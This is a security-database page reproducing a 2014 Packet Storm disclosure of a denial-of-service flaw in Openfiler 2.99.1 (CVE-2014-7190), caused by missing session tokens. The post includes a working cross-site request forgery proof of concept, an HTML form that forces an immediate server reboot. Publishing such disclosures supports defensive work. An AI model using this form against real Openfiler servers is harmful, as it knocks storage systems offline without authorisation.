Lucene search
Dolev FarhiPACKETSTORM:128455HistorySep 27, 2014 - 12:00 a.m.
Openfiler 2.99.1 Denial Of Service
2014-09-2700:00:00
Dolev Farhi
packetstormsecurity.com
22
EPSS
0.01
Percentile
83.8%
`# Exploit author: @dolevff
# Vendor homepage: http://www.openfiler.com
# Affected Software version: 2.99.1 (latest)
# Alerted vendor: 7.5.14
# CVE-2014-7190
Software Description
=====================
Openfiler is a network storage operating system. With the features we built into Openfiler, you can take advantage of file-based Network Attached Storage and block-based
Storage Area Networking functionality in a single cohesive framework.
Vulnerability Description
=========================
it is possible to restart/shutdown a server running openfiler due to missing session tokens and cause a denial of service attack.
proof of concept:
=========================
<html>
<div align="center">
<pre>
<h2><b>DoS<b></h2>
<body>
<form
action="https://ip.add.re.ss:446/admin/system_shutdown.html"
method="POST">
<input type="hidden" name="shutdowntype" value="reboot" />
<input type="hidden" name="delay" value="0" />
<input type="hidden" name="action" value="Shutdown" />
<input type="submit" name="submit" value="attack" />
</form>
</body>
</div>
</html>
`
Related
cvelist
cvelist
CVE-2014-7190
2014-09-30 16:00:00
cve
cve
CVE-2014-7190
2014-09-30 16:55:07
prion
prion
Cross site request forgery (csrf)
2014-09-30 16:55:00
exploitdb
exploitdb
OpenFiler 2.99.1 - Cross-Site Request Forgery
2014-09-29 00:00:00
nvd
nvd
CVE-2014-7190
2014-09-30 16:55:07